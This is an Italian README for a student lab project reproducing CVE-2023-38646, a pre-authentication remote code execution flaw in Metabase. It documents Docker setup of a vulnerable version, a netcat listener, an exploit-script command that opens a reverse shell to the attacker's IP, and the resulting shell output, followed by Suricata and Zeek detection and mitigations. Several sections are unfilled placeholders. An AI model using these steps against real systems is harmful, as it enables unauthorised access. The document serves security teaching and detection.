
CVE-2023-38646
Questo repository documenta un progetto di ricerca sulla sicurezza Proof-of-Concept (PoC) che analizza CVE-2023-38646, una vulnerabilità critica di Remote Code Execution (RCE) pre-autenticazione che interessa versioni vulnerabili di Metabase.
L'obiettivo di questo progetto è dimostrare l'intero ciclo di vita di una vulnerabilità reale, tra cui:
Questo repository è pensato per mostrare competenze pratiche in:
CVE-2023-38646 è una vulnerabilità critica che interessa alcune versioni di Metabase, una piattaforma open-source di business intelligence e analisi.
La vulnerabilità consente a un attaccante di ottenere esecuzione di codice remota non autenticata sfruttando debolezze nel processo di setup o configurazione dell'applicazione.
Dettagli chiave:
Uno sfruttamento riuscito consente a un attaccante di:
Riferimenti ufficiali:
Questo progetto combina sia strumenti di sicurezza offensiva sia strumenti di monitoraggio difensivo.
Placeholder — descrivi la tua configurazione di laboratorio
Esempio:
flowchart LR
A[Attacker] --> B[Vulnerable Metabase Instance]
B --> C[CVE-2023-38646 Exploit]
C --> D[Remote Code Execution]
D --> E[Reverse Shell Established]
E --> F[Command Execution on Target]
Questo diagramma illustra il flusso di attacco ad alto livello utilizzato in questo progetto.
Installazione e Configurazione di Docker:
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
Avvio di Docker:
Un'istanza vulnerabile di Metabase Enterprise (v1.44.0) è stata distribuita utilizzando Docker.
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
Questo espone l'interfaccia web di Metabase sulla porta 3000, consentendo l'accesso alla pagina di setup.
Se Docker è già in esecuzione, esegui le seguenti righe di comando per ricominciare da zero:
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
Placeholder 'Docker Setup'
Una volta che il container è in esecuzione, l'interfaccia di Metabase diventa accessibile tramite il browser.
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
La pagina di setup conferma che l'istanza Metabase è attiva e pronta per la configurazione.
BurpSuite
Placeholder per screenshot o spiegazione
Prima di lanciare l'exploit, viene avviato un listener Netcat sulla macchina attaccante per ricevere la connessione della reverse shell.
nc -lvnp 6666
Questo listener attende connessioni in entrata dal server Metabase sfruttato.
Placeholder per screenshot o spiegazione
python3 CVE-2023-38646-Reverse-Shell.py \ ---> Exploit Name
--rhost http://192.168.1.136:3000 \ ---> Targer IP Address
--lhost 192.168.1.137 \ ---> Attacker's IP Address
--lport 6666 ---> Attacker's Listening Port
Il payload esegue un comando che stabilisce una reverse shell verso la macchina attaccante.
Il listener Netcat riceve la connessione, concedendo all'attaccante accesso shell al sistema.
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
Per confermare la connessione al dispositivo della vittima:
whoami
Output:
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
Questo progetto dimostra anche come l'attività di sfruttamento possa essere rilevata utilizzando strumenti di monitoraggio di rete.
Suricata (IDS) è stato utilizzato per monitorare il traffico di rete alla ricerca di pattern sospetti associati all'exploit.
sudo suricata -i eth0
Placeholder: inserisci screenshot dell'alert Suricata
evidence/detection/suricata_alert.png
Per osservare gli alert in tempo reale, i log di Suricata sono stati monitorati utilizzando:
tail -f /var/log/suricata/fast.log
Placeholder: inserisci screenshot del log Suricata
evidence/detection/suricata_log.png
Per un approccio passivo, è stato utilizzato uno script di notifica personalizzato per generare alert desktop ogni volta che Suricata rileva traffico sospetto.
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
Quando l'exploit è stato eseguito, Suricata ha generato alert che indicavano attività sospetta associata al tentativo di sfruttamento di Metabase.
Placeholder: inserisci screenshot del log Suricata
evidence/detection/suricata_noti.png
Esempio:
Placeholder: inserisci screenshot del log Suricata
evidence/detection/suricata_noti.png
Oltre al monitoraggio IDS, Zeek è stato utilizzato per analizzare il traffico di rete e identificare comportamenti anomali.
Zeek viene avviato con questi comandi per iniziare a catturare e analizzare il traffico di rete:
sudo /usr/local/zeek/bin/zeek -i eth0
Placeholder: inserisci screenshot dell'avvio di Zeek
evidence/detection/zeek.png
Ispezionando i log delle connessioni, è possibile osservare il traffico della reverse shell sulla porta 6666.
192.168.1.136 → 192.168.1.137:6666
Placeholder: inserisci screenshot del log Zeek
evidence/detection/zeek_log.png
Diverse strategie di mitigazione possono ridurre il rischio di sfruttamento.
| Strategia | Descrizione |
|---|---|
| Patch Management | Aggiornare Metabase a una versione che corregga CVE-2023-38646 |
| Web Application Firewall (ModSecurity) | Filtrare richieste HTTP dannose |
| Host Intrusion Detection (OSSEC) |
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
Questo progetto dimostra l'intero ciclo di vita dell'analisi e della riproduzione di una vulnerabilità critica reale.
Il PoC mostra:
L'obiettivo di questo repository è fornire un case study tecnico che illustri sia le pratiche di cybersecurity offensive sia difensive.
Styverson Ng
Bachelor of Information Technology
Artificial Intelligence & Autonomous Systems
Cyber Security & Cyber Forensics
Murdoch University
| Monitorare comportamenti di sistema sospetti |
| Network Monitoring (Suricata & Zeek) | Rilevare pattern di traffico anomali |